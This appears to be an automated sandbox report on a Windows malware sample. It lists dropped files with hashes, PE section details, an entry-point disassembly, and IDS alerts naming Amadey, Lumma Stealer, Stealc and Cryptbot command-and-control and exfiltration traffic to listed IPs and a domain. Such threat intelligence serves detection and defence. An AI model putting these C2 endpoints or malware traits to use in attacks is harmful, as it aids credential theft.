SHA-512:	0B3A8B8B0B89491F00B3BD9E5A5C086783678780C9E422D5B84D0DEC11C7B79C8931D75419579472F86AEC35A3156A5EA3219EC2371B1A9B5073A03C9BEA8416
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....?g.........."..........d......w.............@..........................p......].....@...@.......@.....................d...\|....@..T........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...T....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2819072
Entropy (8bit):	6.478304815860927
Encrypted:	false
SSDEEP:	49152:2Cgk7+lo2sSwASoOt7sEBR8vWJVTAGzeEMJc05:rgk7+lo2sS5S57sErqWJhHyEMJc
MD5:	832C9676A2A7C2AD3AF65CA7C3CDE743
SHA1:	B773918C7B1880094B9DA6153D27C9D718032DF7
SHA-256:	0BA03D7BEC04E966E7190BD15147CEDA3C950A0FCD02D2C0CFE0AFD51E5B5EAC
SHA-512:	39C64A295BBA8E1AAB00025BD1F44B6C67E770ED34285667B4243244C90641A71A894159F7C8D9F95D757370907CBFB8F5572350A37963129A06B9F7F436282D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+.....$G+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ssbqmpcp...........:..............@...iyzbxbnx. ...`+....................@....taggant.@....+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1903616
Entropy (8bit):	7.950628983304726
Encrypted:	false
SSDEEP:	49152:vuYKP41uIfWVr1H9muoLiwthIySOt8r+wc3Tfvuv1WNQsU/xWlE:vf84IiWB1IuoL7SOY+xjfvgxrw
MD5:	EA7705C2143E7C21967211C16FCEB549
SHA1:	5ED0A996617121FE8C267BCB2B7E7ADCBF8CF1BE
SHA-256:	F177F34B07FA2237ADFDA7CE8AA42889E1529BF25ABE1F7DF58613C8C5197A34
SHA-512:	202A3862BF26A9E3B839C38A30B62473BC4190B010FE54520FFB4EA10A2A0FBB424EFA08DF14C6DF88BFB0669D48CB22E358BCA374BBB1391055521D18BC875C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PK...........@...........................K...........@.................................W...k.......H....................=K..............................<K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...mlgfdbux.....P1.....................@...qftbestz.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.495838111203496
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp67LZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeCFNMr4yrdwc0
MD5:	7E0219835A1A2B3488403DF29A09A446
SHA1:	FC361A9B1EE3D0DBBC8816F8D2190F91A7C88FC0
SHA-256:	DE23CE1E4505E6216FCCDDA1FA0803F0AEC758FB7D2BF290FB3DF543599F2731
SHA-512:	776D468D0643B0768513AFAA57C36134F86D0C0921C6D5BEBA86E226E9B9B634F041CF1ED7F83CA2F13CFDDBFFAAF68013B590BCE9DB49C3C77C715840C54A0C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10547
Entropy (8bit):	5.495838111203496
Encrypted:	false
SSDEEP:	192:/nTFTRR4YbBp67LZNMGaXU6qU4rzy+/3/OYiNBw8d7Sl:LCeCFNMr4yrdwc0
MD5:	7E0219835A1A2B3488403DF29A09A446
SHA1:	FC361A9B1EE3D0DBBC8816F8D2190F91A7C88FC0
SHA-256:	DE23CE1E4505E6216FCCDDA1FA0803F0AEC758FB7D2BF290FB3DF543599F2731
SHA-512:	776D468D0643B0768513AFAA57C36134F86D0C0921C6D5BEBA86E226E9B9B634F041CF1ED7F83CA2F13CFDDBFFAAF68013B590BCE9DB49C3C77C715840C54A0C
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.3960756112668657
Encrypted:	false
SSDEEP:	6:xsXUhXUEZ+lX1CGdKUe6tE9+AQy0lBw01ut0:g4Q1CGAFD9+nVBw1t0
MD5:	E410AD4163658E7EC2B072420377B963
SHA1:	4CCE97EC66409AF6167B1BC48D328ABF1FDC793D
SHA-256:	BAE6818AB044318B90B385409D65718D8ED43FA37D546807FDD78144D78E856D
SHA-512:	7D0ED6CF8C751E7C0D810468A9575EA79DB4E7A152BF9D5257CD1187ECC903903215DE90BA28B1B15D88565826B98051A8E667D0056C858FF046C4A9115C8751
Malicious:	false
Preview:	....l...0s.E.m--....F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468688657521522
Encrypted:	false
SSDEEP:	6144:6zZfpi6ceLPx9skLmb0fiZWSP3aJG8nAgeiJRMMhA2zX4WABluuNzjDH5S:cZHtiZWOKnMM6bFptj4
MD5:	22AD7CC83268E14A39FF6E3A0170AAC4
SHA1:	8FCF077194FDBF9A8FC5378D1842C66A3316EF94
SHA-256:	E6F75E0E2E3343BC1340C10257D8582B6D2B2CE7A0BC8C19928C89854248098F
SHA-512:	0B8191837B1C3A3121FE3E1E0F0D19DB2D536283D01DBB19A2196A2A46F88D1FFA2B3EB3E3A1D7403F236EEE02FEC62A116017FC6AFA8A8751AC8CAD13068594
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....<..............................................................................................................................................................................................................................................................................................................................................*...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950628983304726
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'903'616 bytes
MD5:	ea7705c2143e7c21967211c16fceb549
SHA1:	5ed0a996617121fe8c267bcb2b7e7adcbf8cf1be
SHA256:	f177f34b07fa2237adfda7ce8aa42889e1529bf25abe1f7df58613c8c5197a34
SHA512:	202a3862bf26a9e3b839c38a30b62473bc4190b010fe54520ffb4ea10a2a0fbb424efa08df14c6df88bfb0669d48cb22e358bca374bbb1391055521d18bc875c
SSDEEP:	49152:vuYKP41uIfWVr1H9muoLiwthIySOt8r+wc3Tfvuv1WNQsU/xWlE:vf84IiWB1IuoL7SOY+xjfvgxrw
TLSH:	229533CD516A0765E9DC923350E19D93FFF02DCD944CFE2907A376E9A92728B226CB01
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4EBC50323Ah
pminsw mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F4EBC505235h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x448	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b3d18	0x10	mlgfdbux
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4b3cc8	0x18	mlgfdbux
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	407dbaf26d8fe778647911d5ded1c470	False	0.9980255875340599	data	7.976579555648933	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x448	0x600	23f61aeefa7c3d30c07a21aa8f45e969	False	0.3053385416666667	data	5.28505835027857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2aa000	0x200	cb5fc52bb283e838f733a2a5c157c232	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mlgfdbux	0x315000	0x19f000	0x19ee00	2d3b0de5b671348c5082f4b4f77ff6f3	False	0.9943624774028321	data	7.9537067145856675	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qftbestz	0x4b4000	0x1000	0x400	2e104ab5c883c6550150266c94a7c97c	False	0.70703125	data	5.695450061021358	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b5000	0x3000	0x2200	4df407241e24d48683009b412f58b6d6	False	0.06376378676470588	DOS executable (COM)	0.7519035621281737	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x256	ASCII text, with CRLF line terminators			0.5100334448160535
RT_MANIFEST	0x692c8	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-21T14:11:06.386189+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49864	185.215.113.43	80	TCP
2024-11-21T14:11:11.058067+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49876	31.41.244.11	80	TCP
2024-11-21T14:11:20.741635+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49871	TCP
2024-11-21T14:11:22.178723+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49902	185.215.113.43	80	TCP
2024-11-21T14:11:23.649522+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49905	185.215.113.16	80	TCP
2024-11-21T14:11:29.065042+0100	2057730	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)	1	192.168.2.6	65075	1.1.1.1	53	UDP
2024-11-21T14:11:30.566122+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49921	185.215.113.43	80	TCP
2024-11-21T14:11:30.598966+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:30.598966+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:31.491565+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:31.491565+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49923	188.114.97.3	443	TCP
2024-11-21T14:11:32.066804+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49927	185.215.113.16	80	TCP
2024-11-21T14:11:32.890846+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:32.890846+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:33.629128+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:33.629128+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49930	188.114.97.3	443	TCP
2024-11-21T14:11:35.301581+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49937	188.114.97.3	443	TCP
2024-11-21T14:11:35.301581+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49937	188.114.97.3	443	TCP
2024-11-21T14:11:36.261400+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49937	188.114.97.3	443	TCP
2024-11-21T14:11:38.034807+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49945	188.114.97.3	443	TCP
2024-11-21T14:11:38.034807+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49945	188.114.97.3	443	TCP
2024-11-21T14:11:39.330273+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49947	185.215.113.43	80	TCP
2024-11-21T14:11:40.283765+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49949	185.215.113.206	80	TCP
2024-11-21T14:11:40.610180+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49954	188.114.97.3	443	TCP
2024-11-21T14:11:40.610180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49954	188.114.97.3	443	TCP
2024-11-21T14:11:40.743434+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49949	185.215.113.206	80	TCP
2024-11-21T14:11:40.865868+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49949	TCP
2024-11-21T14:11:40.890220+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49953	185.215.113.16	80	TCP
2024-11-21T14:11:41.203474+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49949	185.215.113.206	80	TCP
2024-11-21T14:11:41.327843+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49949	TCP
2024-11-21T14:11:42.675774+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49949	185.215.113.206	80	TCP
2024-11-21T14:11:43.436986+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49949	185.215.113.206	80	TCP
2024-11-21T14:11:43.636643+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49961	188.114.97.3	443	TCP
2024-11-21T14:11:43.636643+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49961	188.114.97.3	443	TCP
2024-11-21T14:11:45.791573+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49966	188.114.97.3	443	TCP
2024-11-21T14:11:45.791573+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49966	188.114.97.3	443	TCP
2024-11-21T14:11:46.390107+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49969	188.114.97.3	443	TCP
2024-11-21T14:11:46.390107+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49969	188.114.97.3	443	TCP
2024-11-21T14:11:46.735516+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49970	185.215.113.43	80	TCP
2024-11-21T14:11:46.812974+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49966	188.114.97.3	443	TCP
2024-11-21T14:11:46.812974+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49966	188.114.97.3	443	TCP
2024-11-21T14:11:47.483140+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49974	34.116.198.130	80	TCP
2024-11-21T14:11:48.760572+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49976	185.215.113.16	80	TCP
2024-11-21T14:11:49.160667+0100	2057731	ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)	1	192.168.2.6	49988	188.114.97.3	443	TCP
2024-11-21T14:11:49.160667+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49988	188.114.97.3	443	TCP
2024-11-21T14:11:49.870134+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49988	188.114.97.3	443	TCP
